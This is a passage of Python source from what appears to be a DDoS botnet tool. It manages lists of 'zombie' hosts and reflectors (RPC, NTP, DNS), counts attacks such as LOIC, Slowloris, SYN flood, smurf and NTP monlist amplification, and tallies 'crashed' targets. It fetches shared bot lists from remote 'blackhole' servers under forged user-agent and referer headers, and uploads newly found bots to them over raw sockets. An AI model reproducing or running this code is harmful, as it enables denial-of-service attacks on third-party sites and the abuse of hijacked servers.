  1219. if DEBUG == True:
  1220. traceback.print_exc()
  1221. return #sys.exit(2)
  1222. # download list of [Zombies] from GitHub server [20/01/2020 OK!]
  1223. if options.download_github:
  1224. try:
  1225. self.banner()
  1226. print("\n[AI] Downloading list of [Zombies] from [GitHub] server ...\n")
  1227. print('='*22 + '\n')
  1228. download_github_list = self.downloading_github_list()
  1229. except Exception as e:
  1230. print ("[Error] [AI] Something wrong downloading! -> [Exiting!]\n")
  1231. return
  1232. # upload list of [Zombies] to GitHub server [20/01/2020 OK!]
  1233. if options.upload_github:
  1234. try:
  1235. self.banner()
  1236. print("\n[AI] Uploading 'zombies' to [GitHub] is simple. Follow the next steps:\n")
  1237. print('='*22 + '\n')
  1238. upload_github_list = self.uploading_github_list()
  1239. except Exception as e:
  1240. print(("[Error] [AI] Something wrong uploading! "+str(e)+" -> [Exiting!]\n"))
  1241. if DEBUG == True:
  1242. traceback.print_exc()
  1243. return #sys.exit(2)
  1244. # starting new zombie thread
  1245. def connect_zombies(self, zombie):
  1246. z=Zombie(self, zombie)
  1247. t = threading.Thread(target=z.connect, name=zombie)
  1248. t.start()
  1249. # single connection handling
  1250. def connect_zombie(self, zombie):
  1251. z=Zombie(self,zombie)
  1252. return z.connect()
  1253. def extract_proxy(self, proxy):
  1254. sep = ":"
  1255. proxy_ip = proxy.rsplit(sep, 1)[0]
  1256. if proxy_ip.startswith('http://'):
  1257. proxy_ip = proxy_ip.replace('http://', '')
  1258. elif proxy_ip.startswith('https://'):
  1259. proxy_ip = proxy_ip.replace('https://', '')
  1260. if proxy_ip == '127.0.0.1': # working by using 'localhost' as http proxy (privoxy, ...)
  1261. proxy_ip = 'localhost'
  1262. proxy_port = proxy.rsplit(sep, 1)[1]
  1263. proxy_url = proxy_ip + ":" + proxy_port # ex: localhost:8118
  1264. return proxy_url
  1265. def proxy_transport(self, proxy):
  1266. proxy_url = self.extract_proxy(proxy)
  1267. proxy = urllib.request.ProxyHandler({'https': proxy_url})
  1268. opener = urllib.request.build_opener(proxy)
  1269. urllib.request.install_opener(opener)
  1270. def check_mothership_chargo(self):
  1271. f = open(self.zombies_file)
  1272. self.zombies = f.readlines()
  1273. self.zombies = [zombie.replace('\n', '') for zombie in self.zombies]
  1274. self.list_zombies = []
  1275. for zombie in self.zombies:
  1276. t = urlparse(zombie)
  1277. name_zombie = t.netloc
  1278. if name_zombie == "":
  1279. name_zombie = zombie
  1280. self.list_zombies.append(name_zombie)
  1281. self.num_zombies = str(len(self.zombies))
  1282. f.close()
  1283. f = open(self.aliens_file)
  1284. self.aliens = f.readlines()
  1285. self.aliens = [alien.replace('\n', '') for alien in self.aliens]
  1286. self.list_aliens = []
  1287. for alien in self.aliens:
  1288. t = urlparse(alien)
  1289. name_alien = t.netloc
  1290. if name_alien == "":
  1291. name_alien = alien
  1292. self.list_aliens.append(name_alien)
  1293. self.num_aliens = str(len(self.aliens))
  1294. f.close()
  1295. f = open(self.droids_file)
  1296. self.droids = f.readlines()
  1297. self.droids = [droid.replace('\n', '') for droid in self.droids]
  1298. self.list_droids = []
  1299. for droid in self.droids:
  1300. t = urlparse(droid)
  1301. name_droid = t.netloc
  1302. if name_droid == "":
  1303. name_droid = droid
  1304. self.list_droids.append(name_droid)
  1305. self.num_droids = str(len(self.droids))
  1306. f.close()
  1307. f = open(self.ucavs_file)
  1308. self.ucavs = f.readlines()
  1309. self.ucavs = [ucav.replace('\n', '') for ucav in self.ucavs]
  1310. self.list_ucavs = []
  1311. for ucav in self.ucavs:
  1312. t = urlparse(ucav)
  1313. name_ucav = t.netloc
  1314. if name_ucav == "":
  1315. name_ucav = ucav
  1316. self.list_ucavs.append(name_ucav)
  1317. self.num_ucavs = str(len(self.ucavs))
  1318. f.close()
  1319. f = open(self.rpcs_file)
  1320. self.rpcs = f.readlines()
  1321. self.rpcs = [rpc.replace('\n', '') for rpc in self.rpcs]
  1322. self.list_rpcs = []
  1323. for rpc in self.rpcs:
  1324. t = urlparse(rpc)
  1325. name_rpc = t.netloc
  1326. if name_rpc == "":
  1327. name_rpc = rpc
  1328. self.list_rpcs.append(name_rpc)
  1329. self.num_rpcs = str(len(self.rpcs))
  1330. f.close()
  1331. self.total_botnet = str(int(self.num_zombies) + int(self.num_aliens) + int(self.num_droids) + int(self.num_ucavs) + int(self.num_rpcs))
  1332. return self.total_botnet
  1333. def update_flying_stats(self):
  1334. if not os.path.exists(self.mothership_stats_file) == True: # create data when no stats file (first time used)
  1335. with open(self.mothership_stats_file, "w") as f:
  1336. json.dump({"flying": "0", "missions": "0", "scanner": "0", "transferred": "0", "max_chargo": "0", "completed": "0", "loic": "0", "loris": "0", "ufosyn": "0", "spray": "0", "smurf": "0", "xmas": "0", "nuke": "0", "tachyon": "0", "monlist": "0", "crashed": "0"}, f, indent=4) # starting reset
  1337. stats_json_file = open(self.mothership_stats_file, "r")
  1338. data = json.load(stats_json_file)
  1339. stats_json_file.close()
  1340. aflying = data["flying"]
  1341. aflying = str(int(aflying) + 1) # add new flying time
  1342. data["flying"] = aflying
  1343. stats_json_file = open(self.mothership_stats_file, "w+")
  1344. stats_json_file.write(json.dumps(data))
  1345. stats_json_file.close()
  1346. def update_mothership_stats(self):
  1347. stats_json_file = open(self.mothership_stats_file, "r")
  1348. data = json.load(stats_json_file)
  1349. stats_json_file.close()
  1350. acompleted = data["completed"]
  1351. acompleted = str(int(acompleted) + 1) # add new completed attack
  1352. data["completed"] = acompleted
  1353. stats_json_file = open(self.mothership_stats_file, "w+")
  1354. stats_json_file.write(json.dumps(data))
  1355. stats_json_file.close()
  1356. def update_targets_crashed(self):
  1357. stats_json_file = open(self.mothership_stats_file, "r")
  1358. data = json.load(stats_json_file)
  1359. stats_json_file.close()
  1360. tcrashed = data["crashed"]
  1361. tcrashed = str(int(tcrashed) + 1) # add new crashed target
  1362. data["crashed"] = tcrashed
  1363. stats_json_file = open(self.mothership_stats_file, "w+")
  1364. stats_json_file.write(json.dumps(data))
  1365. stats_json_file.close()
  1366. def update_missions_stats(self):
  1367. stats_json_file = open(self.mothership_stats_file, "r")
  1368. data = json.load(stats_json_file)
  1369. stats_json_file.close()
  1370. missions = data["missions"]
  1371. missions = str(int(missions) + 1) # add new mission target
  1372. data["missions"] = missions
  1373. stats_json_file = open(self.mothership_stats_file, "w+")
  1374. stats_json_file.write(json.dumps(data))
  1375. stats_json_file.close()
  1376. def update_scanner_stats(self, num):
  1377. stats_json_file = open(self.mothership_stats_file, "r")
  1378. data = json.load(stats_json_file)
  1379. stats_json_file.close()
  1380. scanner = data["scanner"]
  1381. scanner = str(int(scanner) + int(num)) # add new zombies found by dorking to mothership stats
  1382. data["scanner"] = scanner
  1383. stats_json_file = open(self.mothership_stats_file, "w+")
  1384. stats_json_file.write(json.dumps(data))
  1385. stats_json_file.close()
  1386. def update_transferred_stats(self, num):
  1387. stats_json_file = open(self.mothership_stats_file, "r")
  1388. data = json.load(stats_json_file)
  1389. stats_json_file.close()
  1390. transferred = data["transferred"]
  1391. transferred = str(int(transferred) + int(num)) # add new zombies found by downloading via blackholes to mothership stats
  1392. data["transferred"] = transferred
  1393. stats_json_file = open(self.mothership_stats_file, "w+")
  1394. stats_json_file.write(json.dumps(data))
  1395. stats_json_file.close()
  1396. def update_max_chargo(self, chargo):
  1397. stats_json_file = open(self.mothership_stats_file, "r")
  1398. data = json.load(stats_json_file)
  1399. stats_json_file.close()
  1400. amax_chargo = data["max_chargo"]
  1401. if int(chargo) > int(amax_chargo): # new max chargo found
  1402. amax_chargo = chargo # add new max chargo
  1403. else:
  1404. amax_chargo = data["max_chargo"]
  1405. data["max_chargo"] = amax_chargo
  1406. stats_json_file = open(self.mothership_stats_file, "w+")
  1407. stats_json_file.write(json.dumps(data))
  1408. stats_json_file.close()
  1409. def update_loic_stats(self):
  1410. stats_json_file = open(self.mothership_stats_file, "r")
  1411. data = json.load(stats_json_file)
  1412. stats_json_file.close()
  1413. aloic = data["loic"]
  1414. aloic = str(int(aloic) + 1) # add new loic attack to recorded stats
  1415. self.total_loic = self.total_loic + 1 # add new loic attack to session stats
  1416. data["loic"] = aloic
  1417. stats_json_file = open(self.mothership_stats_file, "w+")
  1418. stats_json_file.write(json.dumps(data))
  1419. stats_json_file.close()
  1420. def update_loris_stats(self):
  1421. stats_json_file = open(self.mothership_stats_file, "r")
  1422. data = json.load(stats_json_file)
  1423. stats_json_file.close()
  1424. aloris = data["loris"]
  1425. aloris = str(int(aloris) + 1) # add new loris attack to recorded stats
  1426. self.total_loris = self.total_loris + 1 # add new loris attack to session stats
  1427. data["loris"] = aloris
  1428. stats_json_file = open(self.mothership_stats_file, "w+")
  1429. stats_json_file.write(json.dumps(data))
  1430. stats_json_file.close()
  1431. def update_ufosyn_stats(self):
  1432. stats_json_file = open(self.mothership_stats_file, "r")
  1433. data = json.load(stats_json_file)
  1434. stats_json_file.close()
  1435. aufosyn = data["ufosyn"]
  1436. aufosyn = str(int(aufosyn) + 1) # add new ufosyn attack to recorded stats
  1437. self.total_syn = self.total_syn + 1 # add new ufosyn attack to session stats
  1438. data["ufosyn"] = aufosyn
  1439. stats_json_file = open(self.mothership_stats_file, "w+")
  1440. stats_json_file.write(json.dumps(data))
  1441. stats_json_file.close()
  1442. def update_spray_stats(self):
  1443. stats_json_file = open(self.mothership_stats_file, "r")
  1444. data = json.load(stats_json_file)
  1445. stats_json_file.close()
  1446. aspray = data["spray"]
  1447. aspray = str(int(aspray) + 1) # add new spray attack to recorded stats
  1448. self.total_spray = self.total_spray + 1 # add new spray attack to session stats
  1449. data["spray"] = aspray
  1450. stats_json_file = open(self.mothership_stats_file, "w+")
  1451. stats_json_file.write(json.dumps(data))
  1452. stats_json_file.close()
  1453. def update_smurf_stats(self):
  1454. stats_json_file = open(self.mothership_stats_file, "r")
  1455. data = json.load(stats_json_file)
  1456. stats_json_file.close()
  1457. asmurf = data["smurf"]
  1458. asmurf = str(int(asmurf) + 1) # add new smurf attack to recorded stats
  1459. self.total_smurf = self.total_smurf + 1 # add new smurf attack to session stats
  1460. data["smurf"] = asmurf
  1461. stats_json_file = open(self.mothership_stats_file, "w+")
  1462. stats_json_file.write(json.dumps(data))
  1463. stats_json_file.close()
  1464. def update_xmas_stats(self):
  1465. stats_json_file = open(self.mothership_stats_file, "r")
  1466. data = json.load(stats_json_file)
  1467. stats_json_file.close()
  1468. axmas = data["xmas"]
  1469. axmas = str(int(axmas) + 1) # add new xmas attack to recorded stats
  1470. self.total_xmas = self.total_xmas + 1 # add new xmas attack to session stats
  1471. data["xmas"] = axmas
  1472. stats_json_file = open(self.mothership_stats_file, "w+")
  1473. stats_json_file.write(json.dumps(data))
  1474. stats_json_file.close()
  1475. def update_nuke_stats(self):
  1476. stats_json_file = open(self.mothership_stats_file, "r")
  1477. data = json.load(stats_json_file)
  1478. stats_json_file.close()
  1479. anuke = data["nuke"]
  1480. anuke = str(int(anuke) + 1) # add new nuke attack to recorded stats
  1481. self.total_nuke = self.total_nuke + 1 # add new nuke attack to session stats
  1482. data["nuke"] = anuke
  1483. stats_json_file = open(self.mothership_stats_file, "w+")
  1484. stats_json_file.write(json.dumps(data))
  1485. stats_json_file.close()
  1486. def update_tachyon_stats(self):
  1487. stats_json_file = open(self.mothership_stats_file, "r")
  1488. data = json.load(stats_json_file)
  1489. stats_json_file.close()
  1490. atachyon = data["tachyon"]
  1491. atachyon = str(int(atachyon) + 1) # add new tachyon attack to recorded stats
  1492. self.total_tachyon = self.total_tachyon + 1 # add new tachyon attack to session stats
  1493. data["tachyon"] = atachyon
  1494. stats_json_file = open(self.mothership_stats_file, "w+")
  1495. stats_json_file.write(json.dumps(data))
  1496. stats_json_file.close()
  1497. def update_monlist_stats(self):
  1498. stats_json_file = open(self.mothership_stats_file, "r")
  1499. data = json.load(stats_json_file)
  1500. stats_json_file.close()
  1501. amonlist = data["monlist"]
  1502. amonlist = str(int(amonlist) + 1) # add new monlist attack to recorded stats
  1503. self.total_monlist = self.total_monlist + 1 # add new monlist attack to session stats
  1504. data["monlist"] = amonlist
  1505. stats_json_file = open(self.mothership_stats_file, "w+")
  1506. stats_json_file.write(json.dumps(data))
  1507. stats_json_file.close()
  1508. def uploading_list(self):
  1509. from io import BytesIO
  1510. self.user_agent = random.choice(self.agents).strip() # shuffle user-agent
  1511. headers = {'User-Agent' : self.user_agent, 'Referer' : self.referer} # set fake user-agent and referer
  1512. abductions = "botnet/abductions.txt.gz"
  1513. troops = "botnet/troops.txt.gz"
  1514. robots = "botnet/robots.txt.gz"
  1515. drones = "botnet/drones.txt.gz"
  1516. reflectors = "botnet/reflectors.txt.gz"
  1517. crystals = "botnet/crystals.txt.gz"
  1518. warps = "botnet/warps.txt.gz"
  1519. if self.options.timeout: # set timeout
  1520. try:
  1521. timeout = int(self.options.timeout)
  1522. except:
  1523. timeout = 5
  1524. else:
  1525. timeout = 5
  1526. if timeout < 1:
  1527. timeout = 5
  1528. try:
  1529. print("[AI] Checking integrity of [Blackhole]: "+self.blackhole+"\n")
  1530. if self.options.forcessl:
  1531. if self.options.proxy: # set proxy
  1532. self.proxy_transport(options.proxy)
  1533. req = urllib.request.Request('https://'+self.blackhole+'/ufonet/abductions.txt.gz', None, headers)
  1534. abductions_reply = urllib.request.urlopen(req, context=self.ctx, timeout=timeout).read()
  1535. req = urllib.request.Request('https://'+self.blackhole+'/ufonet/troops.txt.gz', None, headers)
  1536. troops_reply = urllib.request.urlopen(req, context=self.ctx, timeout=timeout).read()
  1537. req = urllib.request.Request('https://'+self.blackhole+'/ufonet/robots.txt.gz', None, headers)
  1538. robots_reply = urllib.request.urlopen(req, context=self.ctx, timeout=timeout).read()
  1539. req = urllib.request.Request('https://'+self.blackhole+'/ufonet/drones.txt.gz', None, headers)
  1540. drones_reply = urllib.request.urlopen(req, context=self.ctx, timeout=timeout).read()
  1541. req = urllib.request.Request('https://'+self.blackhole+'/ufonet/reflectors.txt.gz', None, headers)
  1542. reflectors_reply = urllib.request.urlopen(req, context=self.ctx, timeout=timeout).read()
  1543. req = urllib.request.Request('https://'+self.blackhole+'/ufonet/crystals.txt.gz', None, headers)
  1544. crystals_reply = urllib.request.urlopen(req, context=self.ctx, timeout=timeout).read()
  1545. req = urllib.request.Request('https://'+self.blackhole+'/ufonet/warps.txt.gz', None, headers)
  1546. warps_reply = urllib.request.urlopen(req, context=self.ctx, timeout=timeout).read()
  1547. else:
  1548. if self.options.proxy: # set proxy
  1549. self.proxy_transport(options.proxy)
  1550. req = urllib.request.Request('http://'+self.blackhole+'/ufonet/abductions.txt.gz', None, headers)
  1551. abductions_reply = urllib.request.urlopen(req, context=self.ctx, timeout=timeout).read()
  1552. req = urllib.request.Request('http://'+self.blackhole+'/ufonet/troops.txt.gz', None, headers)
  1553. troops_reply = urllib.request.urlopen(req, context=self.ctx, timeout=timeout).read()
  1554. req = urllib.request.Request('http://'+self.blackhole+'/ufonet/robots.txt.gz', None, headers)
  1555. robots_reply = urllib.request.urlopen(req, context=self.ctx, timeout=timeout).read()
  1556. req = urllib.request.Request('http://'+self.blackhole+'/ufonet/drones.txt.gz', None, headers)
  1557. drones_reply = urllib.request.urlopen(req, context=self.ctx, timeout=timeout).read()
  1558. req = urllib.request.Request('http://'+self.blackhole+'/ufonet/reflectors.txt.gz', None, headers)
  1559. reflectors_reply = urllib.request.urlopen(req, context=self.ctx, timeout=timeout).read()
  1560. req = urllib.request.Request('http://'+self.blackhole+'/ufonet/crystals.txt.gz', None, headers)
  1561. crystals_reply = urllib.request.urlopen(req, context=self.ctx, timeout=timeout).read()
  1562. req = urllib.request.Request('http://'+self.blackhole+'/ufonet/warps.txt.gz', None, headers)
  1563. warps_reply = urllib.request.urlopen(req, context=self.ctx, timeout=timeout).read()
  1564. if abductions_reply == "" and troops_reply == "" and robots_reply == "" and drones_reply == "" and reflectors_reply == "" and crystals_reply == "" and warps_reply == "":
  1565. print("[AI] [Control] [Blackhole] [Server] Reply: [VORTEX FAILED!]")
  1566. print('-'*12 + '\n')
  1567. print("[Error] [AI] Unable to uploading list of [Zombies] to this [Blackhole] [Server] -> [Exiting!]\n")
  1568. return
  1569. print("[AI] [Control] [Blackhole] [Server] Reply: [VORTEX READY!] ;-)")
  1570. f_in_abductions = gzip.open(BytesIO(abductions_reply), 'rb')
  1571. f_out_abductions = open('botnet/abductions.txt', 'wb')
  1572. f_out_abductions.write(f_in_abductions.read())
  1573. f_in_abductions.close()
  1574. f_out_abductions.close()
  1575. num_zombies = 0
  1576. with open('botnet/abductions.txt') as f:
  1577. for _ in f:
  1578. num_zombies = num_zombies + 1
  1579. print("\n[Info] [Zombies] on [Blackhole]: "+ str(num_zombies))
  1580. f_in_robots = gzip.open(BytesIO(robots_reply), 'rb')
  1581. f_out_robots = open('botnet/robots.txt', 'wb')
  1582. f_out_robots.write(f_in_robots.read())
  1583. f_in_robots.close()
  1584. f_out_robots.close()
  1585. num_robots = 0
  1586. with open('botnet/robots.txt') as f:
  1587. for _ in f:
  1588. num_robots = num_robots + 1
  1589. print("[Info] [Droids] on [Blackhole] : "+ str(num_robots))
  1590. f_in_troops = gzip.open(BytesIO(troops_reply), 'rb')
  1591. f_out_troops = open('botnet/troops.txt', 'wb')
  1592. f_out_troops.write(f_in_troops.read())
  1593. f_in_troops.close()
  1594. f_out_troops.close()
  1595. num_aliens = 0
  1596. with open('botnet/aliens.txt') as f:
  1597. for _ in f:
  1598. num_aliens = num_aliens + 1
  1599. print("[Info] [Aliens] on [Blackhole] : "+ str(num_aliens))
  1600. f_in_drones = gzip.open(BytesIO(drones_reply), 'rb')
  1601. f_out_drones = open('botnet/drones.txt', 'wb')
  1602. f_out_drones.write(f_in_drones.read())
  1603. f_in_drones.close()
  1604. f_out_drones.close()
  1605. num_drones = 0
  1606. with open('botnet/drones.txt') as f:
  1607. for _ in f:
  1608. num_drones = num_drones + 1
  1609. print("[Info] [UCAVs] on [Blackhole] : "+ str(num_drones))
  1610. f_in_reflectors = gzip.open(BytesIO(reflectors_reply), 'rb')
  1611. f_out_reflectors = open('botnet/reflectors.txt', 'wb')
  1612. f_out_reflectors.write(f_in_reflectors.read())
  1613. f_in_reflectors.close()
  1614. f_out_reflectors.close()
  1615. num_reflectors = 0
  1616. with open('botnet/reflectors.txt') as f:
  1617. for _ in f:
  1618. num_reflectors = num_reflectors + 1
  1619. print("[Info] [X-RPCs] on [Blackhole] : "+ str(num_reflectors))
  1620. f_in_crystals = gzip.open(BytesIO(crystals_reply), 'rb')
  1621. f_out_crystals = open('botnet/crystals.txt', 'wb')
  1622. f_out_crystals.write(f_in_crystals.read())
  1623. f_in_crystals.close()
  1624. f_out_crystals.close()
  1625. num_crystals = 0
  1626. with open('botnet/crystals.txt') as f:
  1627. for _ in f:
  1628. num_crystals = num_crystals + 1
  1629. print("[Info] [NTPs] on [Blackhole] : "+ str(num_crystals))
  1630. f_in_warps = gzip.open(BytesIO(warps_reply), 'rb')
  1631. f_out_warps = open('botnet/warps.txt', 'wb')
  1632. f_out_warps.write(f_in_warps.read())
  1633. f_in_warps.close()
  1634. f_out_warps.close()
  1635. num_warps = 0
  1636. with open('botnet/warps.txt') as f:
  1637. for _ in f:
  1638. num_warps = num_warps + 1
  1639. print("[Info] [DNSs] on [Blackhole] : "+ str(num_warps))
  1640. print('-'*12 + '\n')
  1641. if not self.options.forceyes:
  1642. update_reply = input("[AI] Do you want to merge ONLY the new [Zombies] into [Blackhole]? (Y/n)")
  1643. print('-'*25)
  1644. else:
  1645. update_reply = "Y"
  1646. if update_reply == "n" or update_reply == "N":
  1647. os.remove('botnet/abductions.txt') # remove abductions file
  1648. os.remove('botnet/troops.txt') # remove troops file
  1649. os.remove('botnet/robots.txt') # remove robots file
  1650. os.remove('botnet/drones.txt') # remove drones file
  1651. os.remove('botnet/reflectors.txt') # remove reflectors file
  1652. os.remove('botnet/crystals.txt') # remove crystals file
  1653. os.remove('botnet/warps.txt') # remove warps file
  1654. print("\n[Info] [AI] [Control] Aborting uploading process and cleaning temporal files... -> [Exiting!]\n")
  1655. return
  1656. else:
  1657. print("\n[AI] Checking integrity of your list of [Zombies] -> [OK!]\n") # only upload valid zombies
  1658. print('='*35)
  1659. zombies = self.extract_zombies()
  1660. if not zombies:
  1661. return
  1662. test = self.testing(zombies)
  1663. zombies_community = []
  1664. zombies_added = 0
  1665. f = open('botnet/abductions.txt')
  1666. abductions = f.readlines()
  1667. abductions = [abduction.strip() for abduction in abductions]
  1668. f.close()
  1669. fz = open(self.zombies_file)
  1670. zombies = fz.readlines()
  1671. zombies = [zombie.strip() for zombie in zombies]
  1672. fz.close()
  1673. for zombie in zombies:
  1674. if zombie not in abductions:
  1675. zombies_community.append(zombie)
  1676. zombies_added = zombies_added + 1
  1677. else:
  1678. pass
  1679. print("[Info] [AI] New [Zombies] found: " + str(zombies_added))
  1680. aliens = self.extract_aliens()
  1681. if not aliens:
  1682. return
  1683. aliens_community = []
  1684. aliens_added = 0
  1685. f = open('botnet/troops.txt')
  1686. troops = f.readlines()
  1687. troops = [troop.strip() for troop in troops]
  1688. f.close()
  1689. fz = open(self.aliens_file)
  1690. aliens = fz.readlines()
  1691. aliens = [alien.strip() for alien in aliens]
  1692. fz.close()
  1693. for alien in aliens:
  1694. if alien not in troops:
  1695. aliens_community.append(alien)
  1696. aliens_added = aliens_added + 1
  1697. else:
  1698. pass
  1699. print("[Info] [AI] New [Aliens] found : " + str(aliens_added))
  1700. droids = self.extract_droids()
  1701. if not droids:
  1702. return
  1703. droids_community = []
  1704. droids_added = 0
  1705. f = open('botnet/robots.txt')
  1706. robots = f.readlines()
  1707. robots = [robot.strip() for robot in robots]
  1708. f.close()
  1709. fz = open(self.droids_file)
  1710. droids = fz.readlines()
  1711. droids = [droid.strip() for droid in droids]
  1712. fz.close()
  1713. for droid in droids:
  1714. if droid not in robots:
  1715. droids_community.append(droid)
  1716. droids_added = droids_added + 1
  1717. else:
  1718. pass
  1719. print("[Info] [AI] New [Droids] found : " + str(droids_added))
  1720. ucavs = self.extract_ucavs()
  1721. if not ucavs:
  1722. return
  1723. ucavs_community = []
  1724. ucavs_added = 0
  1725. f = open('botnet/drones.txt')
  1726. drones = f.readlines()
  1727. drones = [drone.strip() for drone in drones]
  1728. f.close()
  1729. fz = open(self.ucavs_file)
  1730. ucavs = fz.readlines()
  1731. ucavs = [ucav.strip() for ucav in ucavs]
  1732. fz.close()
  1733. for ucav in ucavs:
  1734. if ucav not in drones:
  1735. ucavs_community.append(ucav)
  1736. ucavs_added = ucavs_added + 1
  1737. else:
  1738. pass
  1739. print("[Info] [AI] New [UCAVs] found : " + str(ucavs_added))
  1740. rpcs = self.extract_rpcs()
  1741. if not rpcs:
  1742. return
  1743. rpcs_community = []
  1744. rpcs_added = 0
  1745. f = open('botnet/reflectors.txt')
  1746. reflectors = f.readlines()
  1747. reflectors = [reflector.strip() for reflector in reflectors]
  1748. f.close()
  1749. fz = open(self.rpcs_file)
  1750. rpcs = fz.readlines()
  1751. rpcs = [rpc.strip() for rpc in rpcs]
  1752. fz.close()
  1753. for rpc in rpcs:
  1754. if rpc not in reflectors:
  1755. rpcs_community.append(rpc)
  1756. rpcs_added = rpcs_added + 1
  1757. else:
  1758. pass
  1759. print("[Info] [AI] New [X-RPCs] found : " + str(rpcs_added))
  1760. ntps = self.extract_ntps()
  1761. if not ntps:
  1762. return
  1763. ntps_community = []
  1764. ntps_added = 0
  1765. f = open('botnet/crystals.txt')
  1766. crystals = f.readlines()
  1767. crystals = [crystal.strip() for crystal in crystals]
  1768. f.close()
  1769. fz = open(self.ntps_file)
  1770. ntps = fz.readlines()
  1771. ntps = [ntp.strip() for ntp in ntps]
  1772. fz.close()
  1773. for ntp in ntps:
  1774. if ntp not in crystals:
  1775. ntps_community.append(ntp)
  1776. ntps_added = ntps_added + 1
  1777. else:
  1778. pass
  1779. print("[Info] [AI] New [NTPs] found : " + str(ntps_added))
  1780. dnss = self.extract_dnss()
  1781. if not dnss:
  1782. return
  1783. dnss_community = []
  1784. dnss_added = 0
  1785. f = open('botnet/warps.txt')
  1786. warps = f.readlines()
  1787. warps = [warp.strip() for warp in warps]
  1788. f.close()
  1789. fz = open(self.dnss_file)
  1790. dnss = fz.readlines()
  1791. dnss = [dns.strip() for dns in dnss]
  1792. fz.close()
  1793. for dns in dnss:
  1794. if dns not in warps:
  1795. dnss_community.append(dns)
  1796. dnss_added = dnss_added + 1
  1797. else:
  1798. pass
  1799. print("[Info] [AI] New [DNSs] found : " + str(dnss_added))
  1800. print('-'*12 + '\n')
  1801. if zombies_added == 0 and aliens_added == 0 and droids_added == 0 and ucavs_added == 0 and rpcs_added == 0 and ntps_added == 0 and dnss_added == 0: # not any zombie
  1802. os.remove('botnet/abductions.txt') # remove abductions file
  1803. os.remove('botnet/troops.txt') # remove troops file
  1804. os.remove('botnet/robots.txt') # remove robots file
  1805. os.remove('botnet/drones.txt') # remove ucavs file
  1806. os.remove('botnet/reflectors.txt') # remove rpcs file
  1807. os.remove('botnet/crystals.txt') # remove crystals file
  1808. os.remove('botnet/warps.txt') # remove warps file
  1809. print("[Info] [AI] Try to search for new [Zombies]. These are already in this [Blackhole] -> [Exiting!]\n")
  1810. return
  1811. else:
  1812. fc = gzip.open('botnet/community_zombies.txt.gz', 'wb')
  1813. for zombie in zombies_community:
  1814. fc.write(zombie.strip()+"\n")
  1815. fc.close()
  1816. os.remove('botnet/abductions.txt') # remove abductions file
  1817. fc = gzip.open('botnet/community_aliens.txt.gz', 'wb')
  1818. for alien in aliens_community:
  1819. fc.write(alien.strip()+"\n")
  1820. fc.close()
  1821. os.remove('botnet/troops.txt') # remove troops file
  1822. fc = gzip.open('botnet/community_droids.txt.gz', 'wb')
  1823. for droid in droids_community:
  1824. fc.write(droid.strip()+"\n")
  1825. fc.close()
  1826. os.remove('botnet/robots.txt') # remove robots file
  1827. fc = gzip.open('botnet/community_ucavs.txt.gz', 'wb')
  1828. for ucav in ucavs_community:
  1829. fc.write(ucav.strip()+"\n")
  1830. fc.close()
  1831. os.remove('botnet/drones.txt') # remove drones file
  1832. fc = gzip.open('botnet/community_rpcs.txt.gz', 'wb')
  1833. for rpc in rpcs_community:
  1834. fc.write(rpc.strip()+"\n")
  1835. fc.close()
  1836. os.remove('botnet/reflectors.txt') # remove reflectors file
  1837. fc = gzip.open('botnet/community_ntps.txt.gz', 'wb')
  1838. for ntp in ntps_community:
  1839. fc.write(ntp.strip()+"\n")
  1840. fc.close()
  1841. os.remove('botnet/crystals.txt') # remove crystals file
  1842. fc = gzip.open('botnet/community_dnss.txt.gz', 'wb')
  1843. for dns in dnss_community:
  1844. fc.write(dns.strip()+"\n")
  1845. fc.close()
  1846. os.remove('botnet/warps.txt') # remove warps file
  1847. print("[Info] [AI] Starting to upload new [Zombies]...\n")
  1848. try: # open a socket and send data to the blackhole reciever port
  1849. host = self.blackhole
  1850. cport = 9991
  1851. mport = 9990
  1852. try:
  1853. cs = socket.socket(socket.AF_INET, socket.SOCK_STREAM) # send data
  1854. cs.connect(host, cport)
  1855. cs.send("SEND " + 'community_zombies.txt.gz')
  1856. cs.close()
  1857. f = open('botnet/community_zombies.txt.gz', "rb")
  1858. data = f.read()
  1859. f.close()
  1860. ms = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
  1861. ms.connect(host, mport)
  1862. ms.send(data)
  1863. ms.close()
  1864. os.remove('botnet/community_zombies.txt.gz') # remove local zombies .gz file after transfer
  1865. time.sleep(1)
  1866. cs = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
  1867. cs.connect(host, cport)
  1868. cs.send("SEND " + 'community_aliens.txt.gz')
  1869. cs.close()
  1870. f = open('botnet/community_aliens.txt.gz', "rb")
  1871. data = f.read()
  1872. f.close()
  1873. ms = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
  1874. ms.connect(host, mport)
  1875. ms.send(data)
  1876. ms.close()
  1877. os.remove('botnet/community_aliens.txt.gz') # remove local aliens .gz file after transfer
  1878. time.sleep(1)
  1879. cs = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
  1880. cs.connect(host, cport)
  1881. cs.send("SEND " + 'community_robots.txt.gz')
  1882. cs.close()
  1883. f = open('botnet/community_droids.txt.gz', "rb")
  1884. data = f.read()
  1885. f.close()
  1886. ms = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
  1887. ms.connect(host, mport)
  1888. ms.send(data)
  1889. ms.close()
  1890. os.remove('botnet/community_droids.txt.gz') # remove local droids .gz file after transfer
  1891. time.sleep(1)
  1892. cs = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
  1893. cs.connect(host, cport)
  1894. cs.send("SEND " + 'community_ucavs.txt.gz')
  1895. cs.close()
  1896. f = open('botnet/community_ucavs.txt.gz', "rb")
  1897. data = f.read()
  1898. f.close()
  1899. ms = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
  1900. ms.connect(host, mport)
  1901. ms.send(data)
  1902. ms.close()
  1903. os.remove('botnet/community_ucavs.txt.gz') # remove local ucavs .gz file after transfer
  1904. time.sleep(1)
  1905. cs = socket.socket(socket.AF_INET, socket.SOCK_STREAM) # send data one by one recieved by multithreading
  1906. cs.connect(host, cport)
  1907. cs.send("SEND " + 'community_rpcs.txt.gz')
  1908. cs.close()
  1909. f = open('botnet/community_rpcs.txt.gz', "rb")
  1910. data = f.read()
  1911. f.close()
  1912. ms = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
  1913. ms.connect(host, mport)
  1914. ms.send(data)
  1915. ms.close()
  1916. os.remove('botnet/community_rpcs.txt.gz') # remove local rpcs .gz file after transfer
  1917. time.sleep(1)
  1918. cs = socket.socket(socket.AF_INET, socket.SOCK_STREAM) # send data one by one recieved by multithreading
